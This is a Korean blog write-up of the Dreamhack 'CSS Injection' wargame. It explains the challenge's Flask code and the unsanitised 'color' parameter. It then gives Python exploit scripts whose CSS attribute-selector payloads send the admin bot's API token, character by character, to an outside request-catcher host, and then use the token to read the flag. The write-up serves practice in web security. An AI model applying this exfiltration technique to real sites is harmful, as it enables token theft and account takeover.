CSS Injection

minii_
|2024. 11. 20. 02:20
반응형

https://dreamhack.io/wargame/challenges/421

 

CSS Injection

Description Exercise: CSS Injection에서 실습하는 문제입니다. 문제 수정 내역 2023.08.09 Dockerfile 및 bot 일부 수정 2023.11.27 main.py 및 requirements.txt 수정

dreamhack.io

CSS Injection은 웹 애플리케이션의 보안 취약점을 악용하여 악의적인 CSS 코드를 주입함으로써 사용자의 브라우저에서 의도하지 않은 동작을 발생시키는 공격 방식이다. 이는 주로 웹 애플리케이션이 사용자 입력을 충분히 검증하지 않거나, CSS 파일이나 스타일 태그에 대해 제대로 보호 조치를 취하지 않을 때 발생한다.

 

문제 서버의 메인 페이지이다.

 

# Add admin
    execute(
        "INSERT INTO users (username, password, token)"
        "VALUES (:username, :password, :token);",
        {
            "username": ADMIN_USERNAME,
            "password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
            "token": token_generate(),
        },
    )

    adminUid = execute(
        "SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
    )

    # Add FLAG
    execute(
        "INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
        {"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
    )

서버가 시작되면 admin 계정이 생성되고 admin 계정에 메모가 생성된다.

이때 메모에 플래그가 저장된다.

 

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "GET":
        return render_template("register.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")

        user = execute(
            "SELECT * FROM users WHERE username = :username;", {"username": username}
        )
        if user:
            flash("Username already exists !")
            return redirect(url_for("register"))

        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(
            sql,
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
                "token": token,
            },
        )
        flash("Register Success.")
        return redirect(url_for("login"))

회원가입을 하면 이름, 비밀번호, 토큰이 sql에 삽입된다.

 

def token_generate():
    while True:
        token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
        token_exists = execute(
            "SELECT * FROM users WHERE token = :token;", {"token": token}
        )
        if not token_exists:
            return token

토큰은 8자리 소문자이다.

 

@app.route("/mypage")
@login_required
def mypage():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
    return render_template("mypage.html", user=user[0])

마이페이지에서 토큰 확인이 가능하다.

 

# report
@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if not path:
            flash("fail.")
            return redirect(url_for("report"))

        if path and path[0] == "/":
            path = path[1:]

        url = f"http://127.0.0.1:8000/{path}"
        if check_url(url):
            flash("success.")
        else:
            flash("fail.")
        return redirect(url_for("report"))

    elif request.method == "GET":
        return render_template("report.html")

report 페이지에서 경로를 입력받아 check_url에 넘긴다.

 

def check_url(url):
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
        driver_promise.then(
            driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
        )
        driver_promise.then(
            driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
        )
        driver_promise = Promise(driver.find_element(By.ID, "submit").click())
        driver_promise.then(driver.get(url))

    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True

check_url은 admin 계정에 로그인한 뒤 결과값을 리턴한다.

 

# API
@app.route("/api/me")
@apikey_required
def APIme():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
    if user:
        return {"code": 200, "uid": user[0][0], "username": user[0][1]}
    return {"code": 500, "message": "Error !"}


@app.route("/api/memo")
@apikey_required
def APImemo():
    memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({"idx": tmp[0], "memo": tmp[2]})
        return {"code": 200, "memo": memo}

    return {"code": 500, "message": "Error !"}

user[0][0]일 때에만 200 코드를 리턴한다.

따라서 admin이면 users 테이블에서 정보를 출력하고 memo 테이블에서 메모를 출력한다.

 

def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get("API-KEY", None)
        token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {"code": 401, "message": "Access Denined !"}

    return wrapped_view

apikey는 헤더에 있는 API-KEY를 가져와 token(api key)를 확인하고, 해당 계정이 token[0][0](admin)이면 결과를 반환하고 아니면 401 코드를 반환한다.

 

@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)

request.args.get() 메서드를 사용하여 URL에서 color라는 쿼리 파라미터 값을 가져온다.

요청을 통해 배경색을 변경할 수 있고, 이를 통해 css injection이 가능하다.

 

회원가입을 먼저 진행하고 쿼리스트링으로 값을 전달하면 배경색이 변경된다.

 

마이페이지에서 토큰 확인이 가능하다.

 

https://tools.dreamhack.games/main

 

dreamhack-tools

 

tools.dreamhack.games

드림핵 툴즈를 사용해서 익스플로잇을 진행한다.

 

import requests, string
 
URL = "http://host3.dreamhack.games:16629/report"
curr= "qfdyd"
 
for token in string.ascii_lowercase: 
    data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://xfrimvb.request.dreamhack.games/"+curr+token+");"}
    response = requests.post(URL, data=data)
    print(f"'{token}': Status {response.status_code}")

 

한 글자씩 확인을 하고 curr에 추가하는 방식으로 진행한다.

 

import requests
 
URL = "http://host3.dreamhack.games:24286/api/memo"
TOKEN = "bfksfpoc"
 
headers = {
    "API-KEY": TOKEN
}
 
response = requests.get(URL, headers=headers)
 
# 응답 확인
if response.status_code == 200:
    print("Request successful!")
    response_data = response.json()
    if response_data['code'] == 200:
        # 메모 데이터 파싱 및 출력
        memos = response_data['memo']
        for memo in memos:
            print(f"Memo index: {memo['idx']}, Memo content: {memo['memo']}")
    else:
        print(f"Error: {response_data['message']}")
else:
    print(f"Failed to fetch data. Status code: {response.status_code}")

admin의 토큰값을 알아내는데 성공하면, 이 토큰값을 이용해서 api/memo에 접근한다.

 

추출한 토큰값으로  api/memo에 요청을 보내 내용을 파싱하고 flag 값을 추출해 낸다.

반응형

'Dreamhack > Web' 카테고리의 다른 글

Mango  (0) 2024.11.26
chocoshop  (0) 2024.11.12
CSP Bypass Advanced  (0) 2024.11.06
XSS Filtering Bypass Advanced  (0) 2024.10.28
blind-command  (0) 2024.10.01